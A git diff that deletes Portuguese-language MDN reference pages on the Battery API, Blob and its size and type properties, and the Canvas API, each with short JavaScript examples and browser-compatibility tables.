-  console.log("Battery discharging time: "
- + battery.dischargingTime + " seconds");
-  }
-
-});
-</pre>
-
-<p>See also <a class="external" href="http://www.w3.org/TR/battery-status/#examples">the example in the specification</a>.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("Battery API")}}</td>
- <td>{{Spec2("Battery API")}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(39.0)}}</td>
- <td>{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}<br>
- {{CompatGeckoDesktop("16")}}<sup>[1]</sup><br>
- {{CompatGeckoDesktop("43")}}<sup>[3]</sup><br>
- {{CompatGeckoDesktop("52")}}<sup>[4]</sup></td>
- <td>{{CompatNo}}</td>
- <td>25</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Android Webview</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(40.0)}}</td>
- <td>
- <p>{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}<br>
- {{CompatGeckoMobile("16")}}<sup>[1]</sup><br>
- {{CompatGeckoMobile("43")}}<sup>[3]</sup><br>
- {{CompatGeckoMobile("52")}}<sup>[3]</sup></p>
- </td>
- <td>{{CompatNo}}</td>
- <td>25<sup>[2]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatChrome(42.0)}}<sup>[2]</sup></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference <code>dom.battery.enabled</code> to <code>true</code>. Starting with Firefox 11.0, <code>mozBattery</code> is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provides support for the deprecated {{domxref("navigator.battery")}}.</p>
-
-<p>[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to <code>Infinity</code>.</p>
-
-<p>[3] The new promise-based syntax for {{domxref("Navigator.getBattery()")}} is supported from Firefox 43 onwards.</p>
-
-<p>[4] From Firefox 52 onwards, the Battery Status API is only available in chrome/privileged code.</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/en-US/Apps/Build/gather_and_modify_data/retrieving_battery_status_information">Retrieving battery status information - demo &amp; article</a></li>
- <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Hacks blog post - Using the Battery API</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/blob/blob/index.html b/files/pt-pt/web/api/blob/blob/index.html
deleted file mode 100644
index a00a527076..0000000000
--- a/files/pt-pt/web/api/blob/blob/index.html
+++ /dev/null
@@ -1,77 +0,0 @@
----
-title: Blob()
-slug: Web/API/Blob/Blob
-tags:
- - API
- - Blob
- - Construtor
- - File API
- - Referencia
-translation_of: Web/API/Blob/Blob
----
-<div>{{APIRef("File API")}}</div>
-
-<p><span class="seoSummary">O construtor <code>Blob()</code> devolve um novo objeto {{domxref("Blob")}}. O conteúdo do objeto <code>Blob</code> consiste na concatenação dos valores na matriz do primeiro parâmetro.</span></p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <var>novoBlob</var> = new Blob(<var>array</var>, <var>options</var>);
-</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code><var>array</var></code></dt>
- <dd>Uma {{jsxref("Array")}} de {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, {{domxref("USVString")}}, {{domxref("USVString")}}, ou uma mistura de quaisquer desses objetos, que serão colocados dentro do objeto {{domxref("Blob")}}. Os objetos <code>USVString</code> são codificados como UTF-8.</dd>
- <dt><code><var>options</var></code> {{optional_inline}}</dt>
- <dd>
- <p>Um objeto opcional do tipo {{domxref("BlobPropertyBag")}} que pode especificar qualquer uma das seguintes propriedades:</p>
-
- <dl>
- <dt><code>type</code> {{optional_inline}}</dt>
- <dd>O {{Glossary("MIME type", "tipo MIME")}} dos dados que serão armazenados no <em>blob</em>. O valor predefinido é uma string vazia, (<code>""</code>).</dd>
- <dt><code>endings</code> {{optional_inline}} {{non-standard_inline}}</dt>
- <dd>Como interpretar os caracteres de nova linha (<code>\n</code>), se os dados são textos. O valor predefinido, <code>transparent</code>, copia os caracteres da nova linha para o <em>blob</em> sem os alterar. Para converter as novas linhas para a convenção nativa do sistema anfitrião, use o valor <code>native</code>.</dd>
- </dl>
- </dd>
-</dl>
-
-<h3 id="Valor_devolvido">Valor devolvido</h3>
-
-<p>Um novo objeto {{domxref("Blob")}} que contém os dados especificados.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js language-js notranslate">var dadosParaFicheiro = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // uma matriz constituída por uma única DOMString
-var oMeuBlob = new Blob(dadosParaFicheiro, {type : 'text/html'}); // o <em>blob</em></pre>
-
-<h2 id="Specification" name="Specification">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.Blob.Blob")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>A interface obsoleta {{domxref("BlobBuilder")}} que este construtor substitui.</li>
-</ul>
diff --git a/files/pt-pt/web/api/blob/index.html b/files/pt-pt/web/api/blob/index.html
deleted file mode 100644
index 878bc85e5e..0000000000
--- a/files/pt-pt/web/api/blob/index.html
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: Blob
-slug: Web/API/Blob
-tags:
- - API
- - Blob
- - File API
- - Interface
- - NeedsTranslation
- - Raw
- - Reference
- - TopicStub
- - data
-translation_of: Web/API/Blob
----
-<div>{{APIRef("File API")}}</div>
-
-<p>The <strong><code>Blob</code></strong> object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a {{DOMxRef("ReadableStream")}} so its methods can be used for processing the data.</p>
-
-<p>Blobs can represent data that isn't necessarily in a JavaScript-native format. The {{DOMxRef("File")}} interface is based on <code>Blob</code>, inheriting blob functionality and expanding it to support files on the user's system.</p>
-
-<h2 id="Using_blobs">Using blobs</h2>
-
-<p>To construct a <code>Blob</code> from other non-blob objects and data, use the {{DOMxRef("Blob.Blob", "Blob()")}} constructor. To create a blob that contains a subset of another blob's data, use the {{DOMxRef("Blob.slice()", "slice()")}} method. To obtain a <code>Blob</code> object for a file on the user's file system, see the {{DOMxRef("File")}} documentation.</p>
-
-<p>The APIs accepting <code>Blob</code> objects are also listed in the {{DOMxRef("File")}} documentation.</p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<dl>
- <dt>{{DOMxRef("Blob.Blob", "Blob()")}}</dt>
- <dd>Returns a newly created <code>Blob</code> object which contains a concatenation of all of the data in the array passed into the constructor.</dd>
-</dl>
-
-<h2 id="Instance_properties">Instance properties</h2>
-
-<dl>
- <dt>{{DOMxRef("Blob.prototype.size")}} {{readonlyinline}}</dt>
- <dd>The size, in bytes, of the data contained in the <code>Blob</code> object.</dd>
- <dt>{{DOMxRef("Blob.prototype.type")}} {{readonlyinline}}</dt>
- <dd>A string indicating the MIME type of the data contained in the <code>Blob</code>. If the type is unknown, this string is empty.</dd>
-</dl>
-
-<h2 id="Instance_methods">Instance methods</h2>
-
-<dl>
- <dt>{{DOMxRef("Blob.prototype.arrayBuffer()")}}</dt>
- <dd>Returns a promise that resolves with an {{DOMxRef("ArrayBuffer")}} containing the entire contents of the <code>Blob</code> as binary data.</dd>
- <dt>{{DOMxRef("Blob.prototype.slice()")}}</dt>
- <dd>Returns a new <code>Blob</code> object containing the data in the specified range of bytes of the blob on which it's called.</dd>
- <dt>{{DOMxRef("Blob.prototype.stream()")}}</dt>
- <dd>Returns a {{DOMxRef("ReadableStream")}} that can be used to read the contents of the <code>Blob</code>.</dd>
- <dt>{{DOMxRef("Blob.prototype.text()")}}</dt>
- <dd>Returns a promise that resolves with a {{DOMxRef("USVString")}} containing the entire contents of the <code>Blob</code> interpreted as UTF-8 text.</dd>
-</dl>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Creating_a_blob">Creating a blob</h3>
-
-<p>The {{DOMxRef("Blob.Blob", "Blob()")}} constructor can create blobs from other objects. For example, to construct a blob from a JSON string:</p>
-
-<pre class="brush: js notranslate">const obj = {hello: 'world'};
-const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});</pre>
-
-<h3 id="Creating_a_URL_representing_the_contents_of_a_typed_array">Creating a URL representing the contents of a typed array</h3>
-
-<p>The following code creates a JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> and creates a new <code>Blob</code> containing the typed array's data. It then calls {{DOMxRef("URL.createObjectURL()")}} to convert the blob into a {{glossary("URL")}}.</p>
-
-<h4 id="HTML">HTML</h4>
-
-<pre class="brush: html notranslate">&lt;p&gt;This example creates a typed array containing the ASCII codes
- for the space character through the letter Z, then converts it
- to an object URL. A link to open that object URL is created.
- Click the link to see the decoded object URL.&lt;/p&gt;</pre>
-
-<h4 id="JavaScript">JavaScript</h4>
-
-<p>The main piece of this code for example purposes is the <code>typedArrayToURL()</code> function, which creates a <code>Blob</code> from the given typed array and returns an object URL for it. Having converted the data into an object URL, it can be used in a number of ways, including as the value of the {{HTMLElement("img")}} element's {{htmlattrxref("src", "img")}} attribute (assuming the data contains an image, of course).</p>
-
-<pre class="brush: js notranslate">function typedArrayToURL(typedArray, mimeType) {
- return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
-}
-
-const bytes = new Uint8Array(59);
-
-for(let i = 0; i &lt; 59; i++) {
- bytes[i] = 32 + i;
-}
-
-const url = typedArrayToURL(bytes, 'text/plain');
-
-const link = document.createElement('a');
-link.href = url;
-link.innerText = 'Open the array URL';
-
-document.body.appendChild(link);</pre>
-
-<h4 id="Result">Result</h4>
-
-<p>Click the link in the example to see the browser decode the object URL.</p>
-
-<p>{{EmbedLiveSample("Creating_a_URL_representing_the_contents_of_a_typed_array", 600, 200)}}</p>
-
-<h3 id="Extracting_data_from_a_blob">Extracting data from a blob</h3>
-
-<p>One way to read content from a <code>Blob</code> is to use a {{DOMxRef("FileReader")}}. The following code reads the content of a <code>Blob</code> as a typed array:</p>
-
-<pre class="brush: js notranslate">const reader = new FileReader();
-reader.addEventListener('loadend', () =&gt; {
- // reader.result contains the contents of blob as a typed array
-});
-reader.readAsArrayBuffer(blob);</pre>
-
-<p>Another way to read content from a <code>Blob</code> is to use a {{domxref("Response")}}. The following code reads the content of a <code>Blob</code> as text:</p>
-
-<pre class="brush: js notranslate">const text = await (new Response(blob)).text();
-</pre>
-
-<p>Or by using {{DOMxRef("Blob.prototype.text()")}}:</p>
-
-<pre class="brush: js notranslate">const text = await blob.text();</pre>
-
-<p>By using other methods of <code>FileReader</code>, it is possible to read the contents of a Blob as a string or a data URL.</p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('File API', '#blob-section', 'The <code>Blob</code> interface')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-
-
-<p>{{Compat("api.Blob")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{DOMxRef("BlobBuilder")}}</li>
- <li>{{DOMxRef("FileReader")}}</li>
- <li>{{DOMxRef("File")}}</li>
- <li>{{DOMxRef("URL.createObjectURL")}}</li>
- <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/blob/size/index.html b/files/pt-pt/web/api/blob/size/index.html
deleted file mode 100644
index fc6423a199..0000000000
--- a/files/pt-pt/web/api/blob/size/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Blob.size
-slug: Web/API/Blob/size
-tags:
- - API
- - Blob
- - Bytes
- - Ficheiros
- - File API
- - Propriedade
- - Referencia
- - length
- - size
-translation_of: Web/API/Blob/size
----
-<div>{{APIRef("File API")}}</div>
-
-<p>A propriedade <strong><code>size</code></strong> da interface do {{domxref("Blob")}} retorna o tamanho do {{domxref("Blob")}} ou {{domxref("File")}} em <em>bytes</em>.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>sizeInBytes</em> = <em>blob</em>.size
-</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>O número de <em>bytes</em> de dados contidos dentro do <code>Blob</code> (ou do objeto baseado em <code>Blob</code>, como um {{domxref("File")}}).</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Este exemplo usa um {{HTMLElement("input")}} com os atributos <code>type="file"</code> e <code>multiple</code> para receber do utilizador um grupo de ficheiros, e depois um iterar sobre os ficheiros que emitem os seus nomes e comprimentos em <em>bytes</em>.</p>
-
-<pre class="brush:js notranslate">// fileInput is a HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
-var fileInput = document.getElementById("myfileinput");
-
-// files is a FileList object (simliar to NodeList)
-var files = fileInput.files;
-
-for (var i = 0; i &lt; files.length; i++) {
- console.log(files[i].name + " has a size of " + files[i].size + " Bytes");
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('File API', '#dfn-size', 'Blob.size')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("api.Blob.size")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("Blob")}}</li>
- <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Usar ficheiros de aplicações web</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/blob/type/index.html b/files/pt-pt/web/api/blob/type/index.html
deleted file mode 100644
index 5744a80a5b..0000000000
--- a/files/pt-pt/web/api/blob/type/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Blob.type
-slug: Web/API/Blob/type
-tags:
- - API
- - Blob
- - DOM
- - File
- - File API
- - Formato
- - MIME
- - MIME Type
- - Propriedade
- - Referencia
- - tipo
-translation_of: Web/API/Blob/type
----
-<div>{{APIRef("File API")}}</div>
-
-<p><span class="seoSummary">A propriade <strong><code>type</code></strong> do objeto {{domxref("Blob")}} devolve o {{Glossary("MIME type")}} do ficheiro.</span></p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <em>mimetype</em> = <em>blob</em>.type</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Uma {{domxref("DOMString")}} que contem o MIME do ficheiro, ou uma <em>string</em> vazia se o tipo não consegue ser determinado.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Este exemplo pede ao utilizador que selecione uma série de ficheiros, depois verifica cada ficheiro para se certificar de que é um de um determinado conjunto de tipos de ficheiros de imagem.</p>
-
-<pre class="brush:js notranslate">var i, fileInput, files, allowedFileTypes;
-
-// fileInput é um HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
-fileInput = document.getElementById("myfileinput");
-
-// files é um objeto FileList (parecido ao NodeList)
-files = fileInput.files;
-
-// a nossa aplicação só aceita imagens GIF, PNG, e JPEG
-allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
-
-for (i = 0; i &lt; files.length; i++) {
- // Testar se file.type é um dos MIME types permitidos.
- if (allowedFileTypes.indexOf(<strong>files[i].type</strong>) &gt; -1) {
- // file.type é válido
- }
-});
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('File API', '#dfn-type', 'Blob.type')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div>
-
-
-<p>{{Compat("api.Blob.type")}}</p>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("Blob")}}</li>
- <li><em><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></em></li>
-</ul>
diff --git a/files/pt-pt/web/api/canvas_api/index.html b/files/pt-pt/web/api/canvas_api/index.html
deleted file mode 100644
index 2118f051c5..0000000000
--- a/files/pt-pt/web/api/canvas_api/index.html
+++ /dev/null
@@ -1,248 +0,0 @@
----
-title: API de Canvas
-slug: Web/API/Canvas_API
-translation_of: Web/API/Canvas_API
-original_slug: Web/API/API_de_canvas
----
-<div>{{CanvasSidebar}}</div>
-
-<p class="summary">Added in <a href="/en-US/docs/HTML/HTML5">HTML5</a>, the <strong>HTML {{HTMLElement("canvas")}} element</strong> can be used to draw graphics via scripting in <a href="/en-US/docs/Web/JavaScript">JavaScript</a>. For example, it can be used to draw graphs, make photo compositions, create animations, or even do real-time video processing or rendering.</p>
-
-<p>Mozilla applications gained support for <code>&lt;canvas&gt;</code> starting with Gecko 1.8 (i.e. <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5</a>). The element was originally introduced by Apple for the OS X Dashboard and Safari. Internet Explorer supports <code>&lt;canvas&gt;</code> from version 9 onwards; for earlier versions of IE, a page can effectively add support for <code>&lt;canvas&gt;</code> by including a script from Google's <a href="https://github.com/arv/explorercanvas">Explorer Canvas</a> project. Google Chrome and Opera 9 also support <code>&lt;canvas&gt;</code>.</p>
-
-<p>The <code>&lt;canvas&gt;</code> element is also used by <a href="/en-US/docs/Web/WebGL">WebGL</a> to draw hardware-accelerated 3D graphics on web pages.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>This is just a simple code snippet which uses the {{domxref("CanvasRenderingContext2D.fillRect()")}} method.</p>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
-</pre>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<pre class="brush: js">var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext('2d');
-
-ctx.fillStyle = 'green';
-ctx.fillRect(10, 10, 100, 100);
-</pre>
-
-<p>Edit the code below and see your changes update live in the canvas:</p>
-
-<div class="hidden">
-<h6 id="Playable_code">Playable code</h6>
-
-<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
-&lt;div class="playable-buttons"&gt;
-  &lt;input id="edit" type="button" value="Edit" /&gt;
-  &lt;input id="reset" type="button" value="Reset" /&gt;
-&lt;/div&gt;
-&lt;textarea id="code" class="playable-code"&gt;
-ctx.fillStyle = 'green';
-ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
-</pre>
-
-<pre class="brush: js">var canvas = document.getElementById('canvas');
-var ctx = canvas.getContext("2d");
-var textarea = document.getElementById('code');
-var reset = document.getElementById('reset');
-var edit = document.getElementById('edit');
-var code = textarea.value;
-
-function drawCanvas() {
- ctx.clearRect(0, 0, canvas.width, canvas.height);
- eval(textarea.value);
-}
-
-reset.addEventListener('click', function() {
- textarea.value = code;
- drawCanvas();
-});
-
-edit.addEventListener('click', function() {
- textarea.focus();
-})
-
-textarea.addEventListener('input', drawCanvas);
-window.addEventListener('load', drawCanvas);
-</pre>
-</div>
-
-<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
-
-<h2 id="Referência">Referência</h2>
-
-<div class="index">
-<ul>
- <li>{{domxref("HTMLCanvasElement")}}</li>
- <li>{{domxref("CanvasRenderingContext2D")}}</li>
- <li>{{domxref("CanvasGradient")}}</li>
- <li>{{domxref("CanvasImageSource")}}</li>
- <li>{{domxref("CanvasPattern")}}</li>
- <li>{{domxref("ImageBitmap")}}</li>
- <li>{{domxref("ImageData")}}</li>
- <li>{{domxref("RenderingContext")}}</li>
- <li>{{domxref("TextMetrics")}}</li>
- <li>{{domxref("OffscreenCanvas")}}{{experimental_inline}}</li>
- <li>{{domxref("Path2D")}} {{experimental_inline}}{{domxref("ImageBitmapRenderingContext")}}{{experimental_inline}}</li>
-</ul>
-</div>
-
-<p>The interfaces related to the <code>WebGLRenderingContext</code> are referenced under <a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a>.</p>
-
-<p>{{domxref("CanvasCaptureMediaStream")}} is related.</p>
-
-<h2 id="Guias_e_tutoriais">Guias e tutoriais</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
- <dd>A comprehensive tutorial covering both the basic usage of <code>&lt;canvas&gt;</code> and its advanced features.</dd>
- <dt><a href="/en-US/Add-ons/Code_snippets/Canvas">Code snippets: Canvas</a></dt>
- <dd>Some extension developer-oriented code snippets involving <code>&lt;canvas&gt;</code>.</dd>
- <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">Demo: A basic ray-caster</a></dt>
- <dd>A demo of ray-tracing animation using canvas.</dd>
- <dt><a href="/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Drawing DOM objects into a canvas</a></dt>
- <dd>How to draw DOM content, such as HTML elements, into a canvas.</dd>
- <dt><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></dt>
- <dd>Combining {{HTMLElement("video")}} and {{HTMLElement("canvas")}} to manipulate video data in real time.</dd>
-</dl>
-
-<h2 id="Recursos">Recursos</h2>
-
-<h3 id="Genérico">Genérico</h3>
-
-<ul>
- <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas Deep Dive</a></li>
- <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas Handbook</a></li>
-</ul>
-
-<h3 id="Bibliotecas">Bibliotecas</h3>
-
-<ul>
- <li><a href="http://fabricjs.com">Fabric.js</a> is an open-source canvas library with SVG parsing capabilities.</li>
- <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> is an open-source canvas library focused on interactivity for desktop and mobile applications.</li>
- <li><a href="http://paperjs.org/">Paper.js</a> is an open source vector graphics scripting framework that runs on top of the HTML5 Canvas.</li>
- <li><a href="http://origamijs.com/docs/">Origami.js</a> is an open source lightweight canvas library.</li>
- <li><a href="http://libcanvas.github.com/">libCanvas</a> is powerful and lightweight canvas framework.</li>
- <li><a href="http://processingjs.org">Processing.js</a> is a port of the Processing visualization language.</li>
- <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open source game engine.</li>
- <li><a href="http://www.pixijs.com/">Pixi.js</a> is an open source game engine.</li>
- <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> is a charting and graphing library.</li>
- <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> is an animation key-framing API for Canvas.</li>
- <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> is a WebGL framework for data visualization, creative coding and game development.</li>
- <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> creates interactive 2D Canvas data visualizations for the Web.</li>
- <li><a href="http://www.createjs.com/easeljs">EaselJS</a> is a free/open source library to make it easier to use canvas for games and art</li>
- <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a> is another open-source javascript library for creating and manipulating 2d canvas elements</li>
- <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a> is an open source library to create canvas based heatmaps</li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Epecificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/WebGL_API">WebGL </a> (Biblioteca de Gráficos da Web)</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
